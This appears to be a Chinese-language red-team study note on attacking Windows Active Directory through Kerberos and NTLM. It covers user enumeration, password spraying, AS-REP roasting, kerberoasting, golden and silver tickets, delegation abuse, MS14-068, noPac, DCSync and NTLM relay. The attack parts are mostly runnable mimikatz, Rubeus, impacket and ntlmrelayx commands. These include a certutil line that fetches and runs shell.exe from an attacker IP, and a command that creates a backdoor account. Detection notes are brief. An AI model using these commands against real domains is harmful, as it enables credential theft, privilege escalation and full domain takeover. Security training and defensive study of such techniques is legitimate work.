# 强制触发域赋值,将数据更改推送至合法域控:
mimikatz.exe "lsadump::dcshadow /push" exit

Kerberos攻击专题

https://www.freebuf.com/articles/network/384457.html

Kerberos认证基础

对于Kerberos认证,我们简单理解的话可以分为三个部分:

1
2
3
1、用户(Client)
2、服务器(Server)
3、密钥分发中心(Key Distribution Center,KDC)

对这三部分的具体解释如下

1、Client:需要访问服务的客户端,Kerberos客户端是需要访问资源的用户进行操作的应用程序,当Kerberos客户端在进行访问资源之前都会进行请求身份认证。

2、Server:提供访问服务的服务端,Kerberos服务端是提供被访问和请求的服务,客户端都有唯一的SPN(服务主体名称)。

3、KDC:密钥分发中心,KDC是一种提供认证服务的网络服务,其服务账户为krbtgt,KDC会负责颁发加密令牌(Ticket),并且对客户端的身份进行验证。

KDC作为活动目录域服务的一部分运行在每个域控制器DC上

在KDC中又需要分为两个部分:Authentication Server(AS,身份验证服务)Ticket Granting Server(TGS,票据授予服务)

(1)Authentication Server作为认证服务器是Kerberos分发中心(KDC)的核心组件,其主要作用是验证用户的身份,在Windows Active Directory域环境中,Authentication Server通常是由域控制器DC角色来实现的。

(2)Ticket Granting Server作为票据授权服务器也是Kerberos分发中心(KDC)的核心组件,其主要负责接收客户端的请求并且用于访问特定服务器的服务票据Service Ticket(ST),在Windows Active Directory域环境中,Ticket Granting Server通常也是由域控制器DC角色来实现的。

Kerberos会使用TCP/UDP的88端口进行身份验证和票据授予,使用TCP/UDP的464端口号进行Kerberos KpassWd(密码重置)

在讲解Kerberos认证之前,我们还需要介绍一个账户,即krbtgt账户。

Krbtgt账户是Windows中的一个内置账户,在创建活动目录时系统自动创建,其作用是KDC的服务账户,每个域都有一个唯一的Krbtgt账户,与域名称相同,并存储在Active Directory数据库中。krbtgt账户的密码是由域控制器DC系统自动随机生成的,在AD域中以HTLM hash的形式存储,可以简单理解为一个不能登录的账户。

Kerberos认证流程

第一阶段:获取 TGT(身份认证)

步骤1 - AS-REQ (认证请求)

  • Client → KDC (AS 服务)
  • 发送内容:
    • 用户身份(用户名/UPN)
    • 请求的服务 SPN(通常为 krbtgt/domain)
    • 时间戳(防止重放)
    • 加密类型支持列表
  • 明文发送,不含密码

步骤2 - AS-REP (认证响应)

  • KDC (AS) → Client
  • KDC 查询数据库验证用户是否存在
  • 返回两部分内容:
    • TGT(票据授予凭证):包含PAC(PAC中包含Client相关权限信息),用户身份、会话密钥、有效期等,用 KDC 密钥(krbtgt 账户密码 hash(NTLM-hash))加密,只有KDC能制作和查看PAC
    • Session Key:用用户密码 hash 加密的会话密钥
  • 只有知道密码的用户才能解密 Session Key

第二阶段:获取服务票据

步骤3 - TGS-REQ (票据请求)

  • Client → KDC (TGS 服务)
  • 发送内容:
    • TGT(之前获取的)
    • 要访问的目标服务 SPN
    • Authenticator:包含用户身份、时间戳,用 Session Key 加密
  • KDC 用自己的密钥解密 TGT,获取 Session Key,再解密 Authenticator 验证身份

步骤4 - TGS-REP (票据响应)

  • KDC (TGS) → Client
  • 返回两部分内容:
    • Service Ticket(服务票据 TGS票据,简称ST):包含用户身份、Client-Server Session Key、有效期,用目标服务账户的密码 hash 加密,并带上PAC
    • Client-Server Session Key:用之前 TGT 中的 Session Key 加密
  • Service Ticket 客户端无法解密
  • 不论用户是否有访问权限,只要TGT正确,就返回ST

第三阶段:访问服务

步骤5 - AP-REQ (应用请求)

  • Client → Server
  • 发送内容:
    • Service Ticket
    • Authenticator:包含用户身份、时间戳,用 Client-Server Session Key 加密
  • Server 用自己的密钥解密 Service Ticket,获取 Session Key,再解密 Authenticator 验证身份

步骤6 - AP-REP (应用响应)(可选,用于双向认证)

  • Server → Client
  • 解密ST,若解密正确,就会将其中的PAC给KDC解密,KDC由此判断Client是否有访问服务的权限
  • Server 将 Authenticator 中的时间戳加 1,用 Session Key 加密后返回
  • 客户端解密验证时间戳,确认服务端身份
  • 没有设置PAC就不会去KDC求证

安全特性

  • 密码从不在网络传输
  • KDC 不保存 Session Key(只有 Client 和 Server 有)
  • 时间同步关键(默认容忍5分钟偏差,防止重放攻击)
  • 支持双向认证(客户端也能验证服务端身份)

PAC (Privilege Attribute Certificate)

  • 性质:授权数据结构
  • 内容:
    • 用户 SID
    • 组 memberships(组 SID 列表)
    • 用户权限
    • 其他安全上下文信息
  • 位置:嵌入在票据的 authorization-data 字段中
  • 用途:服务端根据 PAC 决定用户能做什么(授权决策)
  • 签名:PAC 由 KDC 签名,服务端可验证其真实性
  • 白银票据是否成功关键取决于是否设置PAC

Kerberos攻击分类

总结为票据传递攻击(PTT)

AS_REQ&AS_REP阶段攻击

https://www.cnblogs.com/yuy0ung/articles/18667494

AS-REQ阶段

域内用户名枚举

AS-REQ中的cname表示请求的用户名,用户名是否存在会影响返回包的内容,因此可以进行域内用户名枚举

方法

可以使用kerbrute进行枚举:
使用编译好的工具,我们能够在一台不在域内(即域外)的机器上和DC进行通信的机器上枚举域内用户:

使用此工具需要主机能够与DC通信,需要自己制作用户名字典利用工具进行枚举

1
kerbrute_windows_amd64.exe userenum --dc 192.168.111.100 -d yuy0ung.com user.txt

当然还有python脚本https://github.com/3gstudent/pyKerbrute

msf上也有kerberos_enumusers模块

检测与防御

  • 流量:检测同一IP短时间内是否发送了大量的AS-REQ包
  • 日志:默认情况下,对于不存在的用户名发起的AS-REQ包不会有任何记录(记录需要更改组策略),所以日志层面不好检测

密码喷洒

而用户名存在时,密码的正确与否也会影响返回包,这里虽然可以进行密码爆破,但连续针对同一账户的密码猜测很有可能会导致账户被锁定,因此有了密码喷洒喷洒攻击:即在猜解密码时,使用每个密码去尝试所有用户名

方法

该攻击同样可以在域外进行,但并不支持kerberos

可以使用kerbrute进行喷洒:

1
kerbrute_windows_amd64.exe passwordspray --dc 192.168.111.100 -d yuy0ung.com user.txt Admin123456

当然,如果域没有密码锁定策略,可以直接对单个用户进行爆破:

1
kerbrute_windows_amd64.exe bruteuser --dc 192.168.111.100 -d yuy0ung.com user.txt pass.txt

检测与防御

  • 流量:检测同一IP短时间内是否发送了大量的AS-REQ包
  • 日志:登录成功会产生日志4768,且结果代码为0x0,登录失败日志不做记录

AS-REP阶段

AS-REP Roasting

https://cloud.tencent.com/developer/article/1937051

对于域用户,如果设置了选项”不要求kerberos域身份验证”,此时向域控制器的88端口发送AS_REQ请求,对收到的AS_REP请求enc-part的cipher进行组合解密就能获得用户的明文。(enc-part底下的cipher,这部分是使用用户hash加密session-key)

image-20250109215421485]

方法

  • 初始条件:找到配置了 “Do not require Kerberos preauthentication” 的用户账户。

    判断方法

    核心标志:用户账户的 userAccountControl 属性包含 DONT_REQ_PREAUTH 标志(值为 0x400000)


    枚举方法

    方法1:PowerView(域内主机)

    查找不需要预认证的用户

    Get-DomainUser -PreAuthNotRequired

    方法2:Active Directory PowerShell 模块

    Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}

    方法3:LDAP 查询

    Get-DomainUser -LDAPFilter
    “(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))”

    方法4:Rubeus(域内/域外均可)

    无凭据时,尝试 AS-REP Roasting

    Rubeus.exe asreproast

    指定用户

    Rubeus.exe asreproast /user:targetuser /domain:god.com /dc:192.168.52.138

    方法5:impacket(域外)

    impacket-GetNPUsers -dc-ip 192.168.52.138 god.com/ -users.txt users.txt


    关键点
    │ LDAP 枚举方式 │ 需要域内普通用户权限 │
    │ 直接 AS-REP Roasting │ 无需凭据,但需要知道目标用户名 │

    如果没有任何凭据,需要先通过其他方式(如 Kerberos 用户枚举)获取潜在用户名列表,然后逐个尝试请求 AS-REP,观察
    KDC 是否直接返回。


    总结:利用 LDAP 查询 userAccountControl 属性的 DONT_REQ_PREAUTH 标志来判断,需要域内普通用户权限。

  • 获取Hash

    可以使用Rbeus自动搜索满足条件的用户,并获取login session key(从AS-REP请求字段中获取):

    1
    Rubeus.exe asreproast /format:john /outfile:hash.txt
  • 再使用john进行离线破解即可:

    1
    john --wordlist=/opt/pass.txt hash.txt

检测与防御

  • 检测域中是否设置了“不要求kerberos域身份验证”,如果存在及时关闭
  • 日志:重点关注事件ID为4768且预身份验证类型为“不要求kerberos域身份验证”属性用户发起的Kerberos认证

黄金票据攻击

在AS-REP阶段,返回的TGT的加密部分是由krbtgt用户的密钥加密的,因此,如果我们获得了krbtgt的密钥,我们就可以自己制作一个TGT,该票据被称为黄金票据

攻击需要的信息:域名、域sid、krbtgt的HTLM hash

  • 在DC运行mimikatz:

  • 得到krbtgt的hash之后,先使用域成员主机win10尝试访问DC的CIFS服务,发现不可访问:

    1
    dir \\DC01\c$

  • 利用mimikatz生成黄金票据:

    1
    kerberos::golden /admin:Administrator /domain:yuy0ung.com /sid: S-1-5-21-593678850-2817278497-901338050 /krbtgt:2b88afb2409dbc10ea5be4f35e497639 /ticket:ticket.kirbi

    再导入:

    1
    kerberos::ptt ticket.kirbi

    再次访问CIFS服务:

可以看见成功访问了

成功原因

  • 获取到krbtgt用户密码的hash值后直接伪造了TGT,可以不设置PAC
  • 后续经过认证流程第二阶段获取到合法ST
  • 第三阶段使用ST请求服务顺利进行,没有PAC不需要服务端验证用户身份
  • 顺利访问服务

TGS_REQ & TGS_REP 阶段攻击

TGS-REQ阶段

kerberoasting攻击

ST是用服务的密钥加密,因此,如果我们能获取到ST,就可以尝试对ST进行破解,得到服务的密钥,造成了Kerberoasting攻击

还有一个原因是当用户向KDC发起TGS-REQ时,不论用户是否有服务的访问权限,只要TGT正确,KDC都会返回ST

步骤

  • 提供正常域用户密码进行认证,获得TGT
  • 攻击者使用TGT请求指定SPN的ST
  • KDC在验证后返回服务hash加密的ST
  • 离线破解ST,爆破出服务的明文密码

我们需要爆破的是ticket中的enc_part,这里直接使用工具来提取enc_part

自动实现工具,不需要mimikatz,普通用户权限即可:https://github.com/EmpireProject/Empire/commit/6ee7e036607a62b0192daed46d3711afc65c3921

提取高权限用户ID:

1
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

将得到的hash值丢去hashcat进行破解,有概率得到明文密码:

1
hashcat -m 13100 hash.txt pass.txt --force

检测与防御

  • 确保服务账户为强密码,并定期修改
  • kerberoasting能成功,很大的原因在于KDC返回的ST是使用RC4_HMAC_MD5加密的,能够比较简单的进行加密,如果使用AES256_HMAC方式对kerberos票据进行加密,即使获取了ST也难以解密,但是这种加密存在一些兼容性问题
  • 很多服务在域中被分配了过高的权限,导致破解了该服务的密码后能够迅速实现权限提升,所以针对最好采取最小化权限原则
  • 对于日志审计,重点关注事件ID为4769(请求kerberos服务票据操作)的日志,如果该类日志过多,可以从中筛选票据加密类型为0x17(RC4-HMAC)的日志
  • 定期检测域内危险的SPN可以使用工具zbang

白银票据攻击

https://www.cnblogs.com/backlion/p/8119013.html

白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据。如下图所示,与域控制器没有AS-REQ 和 AS-REP(步骤1和2),也没有TGS-REQ / TGS-REP(步骤3和4)通信。由于银票是伪造的TGS,所以没有与域控制器通信。

白银票据的特点

1.白银票据是一个有效的票据授予服务(TGS)Kerberos票据,因为Kerberos验证服务运行的每台服务器都对服务主体名称的服务帐户进行加密和签名。

2.黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务。

3.大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密码哈希生成的有效TGS可以完全伪造PAC

4.攻击者需要服务帐户密码哈希值

5.TGS是伪造的,所以没有和TGT通信,意味着DC从验证过。

6.任何事件日志都在目标服务器上。

创建白银票据

访问域控上“cifs”服务实列

首先需要获得如下信息:

/domain

/sid

/target:目标服务器的域名全称,此处为域控的全称

/service:目标服务器上面的kerberos服务,此处为cifs

/rc4:计算机账户的NTLM hash,域控主机的计算机账户

/user:要伪造的用户名,此处可用silver测试

在域控上执行如下命令来获取域控主机的本地管理员账户hash

mimikatz log “sekurlsa::logonpasswords”

注:

此处要找到计算机账户,也就是Username : WIN-8VVLRPIAJB0$的NTLM hash,如果是其他账户,那么会失败,也就是需要共享服务账号。

整理以上获得的信息如下:

/domain:test.local

/sid:S-1-5-21-4155807533-921486164-2767329826

/target:WIN-8VVLRPIAJB0.test.local

/service:cifs

/rc4:d5304f9ea69523479560ca4ebb5a2155

/user:silver

使用mimikatz执行如下命令导入Silver Ticket

1
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"

成功导入后可以成功访问域控上的文件共享

委派攻击

https://zhuanlan.zhihu.com/p/476094695

非约束委派攻击

服务账户可以获取被委派用户的TGT,并将TGT缓存到lsass进程中,进而服务账户可以用该TGT模拟该用户访问任意服务

非约束性委派需要的SeEnableDelegationPrivilege特权默认仅授予域管理员和企业管理员

大致流程:

如上图,从攻击者角度来看,如果控制了服务1,那么当管理员访问了服务1,便可以在服务1上获取管理员TGT,以此访问任意服务包括域控

可以使用adfind在域内主机查找非约束性委派用户:

1
2
3
4
5
6
Adfind.exe -b "DC=yuy0ung,DC=com" -f "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

#服务账户
(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))
#机器账户
(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))

如果域管访问过服务直接就能拿到凭据:

1
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

但上面的方法很局限,必须让管理员访问指定服务

特定情况下可以利用Spooler打印机服务让域控主动连接,即强迫运行打印服务(Print Spooler)的主机向目标主机发起 Kerberos 或 NTLM 认证请求

  • 域成员主机上,以管理员权限启动Rubeus监听:

    1
    Rubeus.exe monitor /interval:1 /filteruser:DC01$
  • 利用SpoolSample(详见github)强制DC对本机进行认证,即可抓取到TGT

  • 导入TGT:

    1
    Rubeus.exe ptt /ticket:base64
  • 利用mimikatz进行dcsync即可获取hash,制作黄金票据接管域控

    这里获取的TGT实际上是DC的机器账户,机器账户没有访问CIFS的权限,但是在LDAP中会被当做域控,可以尝试dcsync

    当然也可以直接mimikatz导出票据

约束性委派

由于非约束性委派的不安全性,微软发布了约束性委派,对kerberos引入S4U

对于约束性委派,服务账户只能获取该用户对指定服务的ST,从而只能模拟该用户访问特定的服务

步骤:

这里,约束委派的前置条件是服务自身需要通过KDC认证的TGT

并且S4U2Self必须在具有SPN的账户上操作

攻击角度上看,如果获取了服务1的权限,就可以伪造S4U先请求自身的ST,利用此ST便可以伪造任意用户请求来获取服务2的ST

  • adfind寻找约束性委派主机:

    1
    AdFind.exe -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
  • 以client02对DC01的CIFS服务存在约束委派为例

    在知道服务用户hash的情况下,使用kekeo请求client02的TGT:

    1
    tgt::ask /user:client02 /domain:yuy0ung.com /NTLM:<服务hash> /ticket:s4u.kirbi
  • 伪造S4U请求,以administrator权限访问受委派的CIFS服务:

    1
    tgs:: s4u /tgt:TGT_client02@YUY0UNG.COM_krbtgt~yuy0ung.com@YUY0UNG.COM.kirbi /user:Administrator/service:cifs/dc01.yuy0ung.com
  • 利用mimikatz导入S4U2proxy阶段生成的ST即可访问CTFS服务

当然还可以利用Rubeus更方便或使用impacket套件能直接获得shell

基于资源的约束性委派

不需要域管理员设置,而是把设置属性的权限赋予了机器自身

基于资源的约束委派,不需要传统约束委派的高配置权限(SeEnableDelegation权限),如果我们有服务账户1,只需要具备服务账户2的ldap权限,服务1就能控制服务2,这一步需要配置服务2的MSDS-AllowedToActOnBehalfOfOtherIdentity指向服务1的sid

基于资源的约束性委S4U2self阶段的ST是不可转发的

从攻击视角来看:

  • 有一个服务账户1/机器账户(把域内机器提权到SYSTEM相当于有了一个账户),如果我们只有普通的域内用户,可以滥用MachineAccountQuota。
  • 获取服务账户2的LDAP权限
  • 配置服务1对服务2的基于资源的约束委派,对服务2添加sid的指向
  • 发起一个服务1到服务2的正常约束委派流程,从而访问服务2

那么首先是找到可修改msDS-AllowedToActOnBehalfOfOtherIdentity的用户

已知机器账户,找到使其加入域中的用户账户,这个用户账户就具备修改msDS-AllowedToActOnBehalfOfOtherIdentity的权限:

1
2
3
4
5
# 使用adfind.exe查找机器账户的mS-DS-CreatorSID属性
AdFind.exe -h 192.168.30.10 -b "DC=hack,DC=com" -f "objectClass=computer" mS-DS-CreatorSID

# 使用Powershell反查SID对应的用户
powerpick $objSID = New-Object System.Security.Principal.SecurityIdentifier SIF-VALUEs;$objUser = $objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value

由用户查询其加入域中的机器

已知用户查找到通过该用户加入域中的机器

1
2
3
4
5
6
7
# 查用户账户SID
whoami /all

# 使用PowerView查经由该用户加入域内的机器账户(主机)
# 需要具备GeneriCall或WriteProperty等修改权限
import-module PowerView.ps1
Get-DomainObejctAcl -Identity PC | ?{$_.SecurityIdentifier -match "S-1-5-21-754643614-3937478331-2139222398-1116"}

攻击:

  • powermad创建用户

    1
    2
    import-moduel powermad.ps1
    New-MachineAccount -MachineAccount testv -Password $(ConvertTo-SecureString "!qaz@WSX" -AsPlainText -Force)
  • 为目标主机添加资源委派,指向新建机器账户的sid:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #查询该机器账户的sid,使用powerview
    Get-NetComputer testv -Properties objectsid
    objectsid
    ---------
    S-1-5-21-754643614-3937478331-2139222398-1122
    #配置testv到PC的基于资源的约束委派,即修改PC的属性指向testv的sid
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-754643614-3937478331-2139222398-1122)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer PC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
    #查询一下是否添加成功
    Get-DomainComputer PC -Properties msds-allowedtoactonbehalfofotheridentity
  • 利用rubeus申请票据:

    1
    2
    3
    4
    5
    # 通过Rubeus申请机器账户testv$的TGT
    Rubeus.exe asktgt /user:testv$ /password:!qaz@WSX /domain:hack.com /dc:DC.hack.com /nowrap /outfile:testv.kirbi

    # 使用S4U2Self协议申请TGS并且使用S4U2Proxy协议请求cifs服务票据ST,注入内存中
    Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/PC.hack.com /dc:DC.hack.com /nowrap /ptt /ticket:your-ticket

    当然也可以使用impacket:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 使用getST.py申请票据
    python3 getST.py hack.com/testv$:\!qaz@WSX -spn cifs/PC.hack.com -impersonate administrator -dc-ip <ip>

    # 导入票据
    export KRB5CCNAME=administrator.ccache

    # 直接登录
    python3 wmiexec.py -k PC.hack.com -no-pass -dc-ip <ip>
    python3 psexec.py -k PC.hack.com -no-pass -dc-ip <ip>
  • 此时能够访问cifs服务了,可以尝试使用psexec进行连接获取高权限shell

约束委派和基于资源的约束委派的区别

特性 约束委派 (KCD) 基于资源的约束委派 (RBCD)
配置位置 服务账户(ServiceA)的 msDS-AllowedToDelegateTo 目标资源(ServiceB)的 msDS-AllowedToActOnBehalfOfOtherIdentity
配置者 需要域管理员权限 资源所有者即可配置
控制方 域管理员控制 资源所有者控制
前端设置 需要设置 TrustedToAuthForDelegation 不需要
支持 Windows 2003+ Windows 2012+

约束委派 (KCD)

服务A的属性:
msDS-AllowedToDelegateTo = 服务B的SPN

流程:

  1. 用户访问服务A
  2. 服务A 以用户身份向 KDC 请求服务B的票据
  3. KDC 检查服务A是否被允许委派到服务B
  4. 返回服务B的票据

配置要求:

  • 域管理员在服务A账户上设置
  • 需要设置 TrustedToAuthForDelegation

基于资源的约束委派 (RBCD)

服务B的属性:
msDS-AllowedToActOnBehalfOfOtherIdentity = 服务A的SID

流程:

  1. 用户访问服务A
  2. 服务A 以用户身份向 KDC 请求服务B的票据
  3. KDC 检查服务B是否允许服务A委派访问
  4. 返回服务B的票据

配置要求:

  • 资源所有者在服务B上设置
  • 不需要域管理员权限
  • 资源所有者有 Write 权限即可

简单理解

类型 比喻
KCD 总部批准分店A可以代表客户去分店B
RBCD 分店B自己决定允许分店A代表客户来访问

攻击场景

场景 适用
已控制服务账户,有 SPN KCD + S4U2Self + S4U2Proxy
已控制计算机账户,可写目标资源 RBCD 攻击
目标机器有 Write 权限 RBCD 攻击

查询命令

约束委派:
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

基于资源的约束委派:
Get-DomainComputer -LDAPFilter “(msDS-AllowedToActOnBehalfOfOtherIdentity=)”
Get-DomainUser -LDAPFilter “(msDS-AllowedToActOnBehalfOfOtherIdentity=)”

PAC

https://www.anquanke.com/post/id/192810

MS14-068

这是一个域内提权漏洞

漏洞成因是KDC无法正确检查PAC中的有效签名,因为PAC签名实现的加密允许所有的加密算法,只要客户端指定任意签名算法,KDC就会使用这个指定的算法验证签名,这里就可以指定使用不需要相关密钥的算法比如md5,那么我们就可以自己伪造PAC,实现伪造自己用户的SID和所在的组

通过上面的描述可以知道,我们可以伪造自己为域管理员组的成员实现域内提权

  • 旧版server比如win2008 server上利用kekeo即可实现利用:

    1
    kekeo.exe "exploit::ms14068 /domain:yuy0ung.com /user:username /password:password /ptt" "exit"
  • 当然也可以使用impacket中的goldenPac直接获取交互式shell

CVE-2021-42287(nopac)

https://www.anquanke.com/post/id/263910

https://antipassion.github.io/2022/03/01/CVE-2021-42287-CVE-2021-42278%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0/

漏洞利用流程:

  • 利用SAMR协议创建无SPN的机器账户machine$
  • 修改机器账户machine$的saMAccountName属性为DC01
  • 以AD01的账户请求TGT
  • 将机器账户machine$的saMAccountName属性还原为machine$
  • 利用S4U2self协议,以域管的身份请求DC01的服务,请求中带上上一步的TGT,此时KDC会查询DC01,发现账户不存在,于是又查询DC01$,查询到是域控,于是允许域控发起S4U2self请求自身的服务,返回域管理员权限访问DC服务的ST
  • 接下来就可以使用高权限票据执行高权限操作了

上述过程可以直接使用工具nopac.exe一步到位:

1
noPac.exe -domain yuy0ung.com -user hack -pass Admin123456 /dc DC01.yuy0ung.com /mAccount machine /mpassword root /service cifs /ptt

运行完成即可生成票据并导入内存

黄金票据与白银票据攻击区别

获取值 得到服务
黄金票据 只需获取krbtgt的密码hash值 可获得任何Kerberos服务
白银票据 需获取不同服务账户对应密码hash值 只能获得对应服务

SPN

SPN 定义

SPN 是 Kerberos 中标识服务的唯一名称,格式为:

服务类型/主机名:端口@域名

例如:CIFS/dc.god.com、HTTP/web.god.com


常见 SPN

SPN 服务
CIFS 文件共享
HTTP Web服务
MSSQLSvc SQL Server
LDAP LDAP服务
HOST 通用主机服务

DCSync攻击与票据的联系

DCSync 并不是普通的 LDAP 查询,它本质是调用:

  • MS-DRSR(Directory Replication Service Remote Protocol)
  • 模拟“域控之间复制数据”

也就是说:👉 你要“伪装成域控”去请求复制用户密码哈希

✔ 必要条件:

  1. 有一个已认证的身份(Kerberos 或 NTLM)
    • 比如:
      • 域用户票据(TGT/TGS)
      • NTLM hash(用于 pass-the-hash)
  2. 该身份具备复制权限

🔥 3. 真正关键:复制权限(比票据更重要)

必须拥有以下权限之一:

  • Replicating Directory Changes
  • Replicating Directory Changes All
  • (有时还需要)Replicating Directory Changes In Filtered Set

常见拥有这些权限的账号:

  • Domain Admins ✅
  • Enterprise Admins ✅
  • Domain Controllers(机器账户)✅
  • 被委派的账号(ACL配置)⚠️

👉 没这些权限,就算你有票据,也 DCSync 不动

拿到高权限用户的票据以证明身份,拥有能够执行DCSync操作的权限

NTLM中继

https://hackerqwq.github.io/2021/07/01/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B9%8BLM%E3%80%81NTLM%E8%AE%A4%E8%AF%81%E5%AD%A6%E4%B9%A0%E5%8F%8A%E6%94%BB%E5%87%BB/

NTLM协议

LM Hash&NTLM Hash

本地用户保存用户密码Hash值再SAM文件中,位置是%SystemRoot%\system32\config\SAM,域用户的Hash值位于NTDS.dit中,文件位置是C:\WINDOWS\NTDS\ntds.dit,以下是Hash值格式

1
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::

其中的 AAD3B435B51404EEAAD3B435B51404EELM Hash31D6CFE0D16AE931B73C59D7E0C089C0NTLM Hash

LM Hash

LM Hash 的全称为 LAN Manager Hash,这是 Windows 中最早用的加密算法。

LM Hash的计算方式如下:

1
2
3
4
5
6
7
8
9
1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。

2. 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度

3. 再分7bit为一组,每组末尾加0,再组成一组

4. 上步骤得到的二组,分别作为key 为 "KGS!@#$%"进行DES加密。

5. 将加密后的两组拼接在一起,得到最终LM HASH值。

NTLM Hash

为了解决 LM Hash 加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议。下面是各个版本对LM和NTLM的支持。

Windows VistaWindows Server 2008开始,默认情况下只存储 NTLM Hash,LM Hash 将不再存在。如果空密码或者不储蓄 LM Hash 的话,我们抓到的LM Hash是 AAD3B435B51404EEAAD3B435B51404EE。所以在 Windows 7 中我们看到抓到 LM Hash 都是AAD3B435B51404EEAAD3B435B51404EE,没有意义。

LM Hash的计算方式如下:

1
2
3
1.先将用户密码转换为十六进制格式。
2.将十六进制格式的密码进行Unicode编码。
3.使用MD4摘要算法对Unicode编码数据进行Hash计算

NTLM认证机制

NTLM在工作组中的认证

NTLM在工作组和在域中都采用Challenge/Response验证机制,由如下三个部分组成

  • type1: 协商(negotiate)
  • type2: 质询(challenge)
  • type3: 身份验证(Authenticate)

用如下图可概括

Client缓存的是用户刚开始输入服务器密码的NTLM Hash值

NTLM在域环境中的认证

由于在域环境中,所有域用户的哈希值都储存在域控制器的NTDS.dit中,服务器本身无法计算Response消息,因此需要与域控建立一个安全通道,通过域控完成最终的认证流程

依旧是type1、2、3,不过是身份验证部分交给了DC来进行

如下图概括

Net-NTLM Hash

Net-NTLM Hash 是网络环境下 NTLM 认证的散列值。NTLM v1 响应和 NTLM v2 响应对应的就是 Net-NTLM Hash 分为 Net-NTLM Hash v1 Net-NTLM Hash v2
Net-NTLM Hash v1的格式为:

1
username::hostname:LM response:NTLM response:challenge

Net-NTLM Hash v2的格式为:

1
username::domain:challenge:HMAC-MD5:blob

HMAC-MD5对应Type3数据包中的NTProofStr

blob为数据包中Response减去NTProofStr后剩下的部分

NTLM Relay攻击

https://www.cnblogs.com/yokan/p/16102699.html

NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种,NTLMv2 的强度比 NTLMv1 强了不少 ,我们在实战中,如果获得的是NTLMv1的话直接对其进行爆破就行了,而现实情况中我们遇到的是 NTLMv2NTLMv2的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码。那么,如果爆破行不通的话我们不妨试一下NTLM Relay攻击。

在这个NTLM Relay中,我们就是要将截获的Net-NTLM Hash重放来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay

攻击获得了什么

中继攻击获得的是发起认证的用户权限,不是 SMB 服务本身的权限。 中继的是用户的 NTLM 认证
→ 用该用户身份访问目标 → 拥有该用户在目标上的权限

场景 1:域用户发起认证
用户张三(god\zhangsan)被诱导发起认证 攻击者中继到目标服务器 B 结果:攻击者拥有张三在 B 上的权限,张三在 B能做什么,攻击者就能做什么。

攻击思路

思路

中继攻击用于获取目标机器的访问权限,而不是破解密码。

传统思路:获取 hash →破解密码 → 登录 中继思路:获取 hash → 直接中继 → 获得访问权限

省去了破解密码的步骤。

  1. 横向移动

    已控制一台主机,获取域用户认证,中继到其他机器,成功后:获得目标机器访问权限。

  2. 权限提升

    普通用户认证被中继到高权限机器。 域普通用户 → 被诱导发起认证 → 中继到某服务器 → 该用户在服务器上有管理员权限 →获得服务器控制权

  3. 中继到 LDAP 进行后续攻击

    赋予域用户DCSync操作权限,发起DCSync攻击

具体执行

中继成功后的下一步攻击

方法一:获取交互式 Shell

1
ntlmrelayx.py -tf targets.txt -smb2support -i

成功后会显示:

1
2
3
[*] Started interactive SMB client shell...
SMB> whoami
SMB> dir c$\

方法二:直接执行命令

1
2
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
ntlmrelayx.py -tf targets.txt -smb2support -c "net user hacker Pass123! /add"

方法三:导出本地 Hash

1
ntlmrelayx.py -tf targets.txt -smb2support --dump-sam

输出示例:

1
2
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

方法四:使用 impacket 单独连接

中继成功后,用其他工具继续操作:

1
2
3
psexec.py god.com/user@目标IP
wmiexec.py god.com/user@目标IP
smbexec.py god.com/user@目标IP

方法五:上传并执行恶意文件

1
2
3
ntlmrelayx.py -tf targets.txt -smb2support -c "certutil -urlcache -f http://攻击者IP/shell.exe C:\temp\shell.exe"

ntlmrelayx.py -tf targets.txt -smb2support -c "C:\temp\shell.exe"

完整攻击流程示例

假设场景:已获取域内普通用户凭证,想横向移动。

步骤一:扫描可中继目标

1
crackmapexec smb 192.168.89.0/24 --gen-relay-list targets.txt

步骤二:启动监听

终端一:

1
